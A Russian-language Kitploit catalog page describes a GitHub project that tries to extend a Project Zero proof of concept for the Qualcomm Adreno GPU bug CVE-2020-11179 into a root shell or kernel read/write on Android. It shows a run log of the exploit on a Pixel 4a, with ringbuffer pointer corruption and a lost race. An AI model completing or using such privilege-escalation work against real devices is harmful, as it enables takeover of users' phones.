Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/sparrow-labz/cve-2020-11179-adreno-qualcomm-gpu
Безопасность AndroidПовышение привилегийАнализ уязвимостейЭксплуатацияМобильная безопасностьАппаратная БезопасностьЭксплуатация Бинарных Файлов
GitHubsparrow-labz/cve-2020-11179-adreno-qualcomm-gpu

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2020-11179-Adreno-Qualcomm-GPU

Усилия по продукционизации CVE-2020-11179 Adreno-Qualcomm-GPU bug, оригинальный PoC от Ben Hawkes из P0

Репозиторий
73151 год назадЕщё не проверено

Моя самостоятельная работа на основе PoC, созданного исследователем P0 Беном Хоуксом
Оригинальная статья: https://googleprojectzero.blogspot.com/2020/09/attacking-qualcomm-adreno-gpu.html

Моя цель — перевести его PoC на C и продолжить с того места, где он остановился,
и превратить PoC либо в root-оболочку, либо в r/w ядра, а затем изменить систему, чтобы показать выполнение кода в ядре.

  • скорее всего, смещение к ttbr0 отличается на моём тестовом телефоне
  • требуется вычислить и отладить для нахождения смещения

sunfish:/data/local/tmp $ ./adrenaline 0xfc45c000
main: rptr is passed as 0xfc45c000
main: rptr base is 0xfc45c000
adrenaline: starting adrenaline
parent: starting adrenaline_parent
child: starting adrenaline_child
parent: kick off the wait command, and follow it with the correct amount of alignment nops
parent: send a message to our child process, which will kick off a GPU context switch
parent: wait for confirmation that the context switch is in before proceeding
child: recive 6 inf pipe buff, and kick off a GPU context switch
child: let the parent process know that the context switch has been dispatched
parent: fill up the rest of ringbuffer 0
parent: signal the wait command to progress to scratch buffer rptr corruption
parent: scratch buffer rptr corrupt with AAAA
00000000 41 41 41 41 00 00 00 00 00 00 00 00 00 00 00 00 |AAAA............|
parent: exploit payload buffer
00000000 41 41 41 41 42 42 42 42 00 00 00 00 00 00 00 00 |AAAABBBB........|
adrenaline race lost: context id: (15), rptr_base: (0xfc45c000) -- try again \

тестовое устройство: Pixel 4a
Android 10, сборка QD4A.2000317.027

TODO:

  • работа над переключением контекста и состоянием гонки
  • для достижения выполнения кода в ядре
Скачать инструмент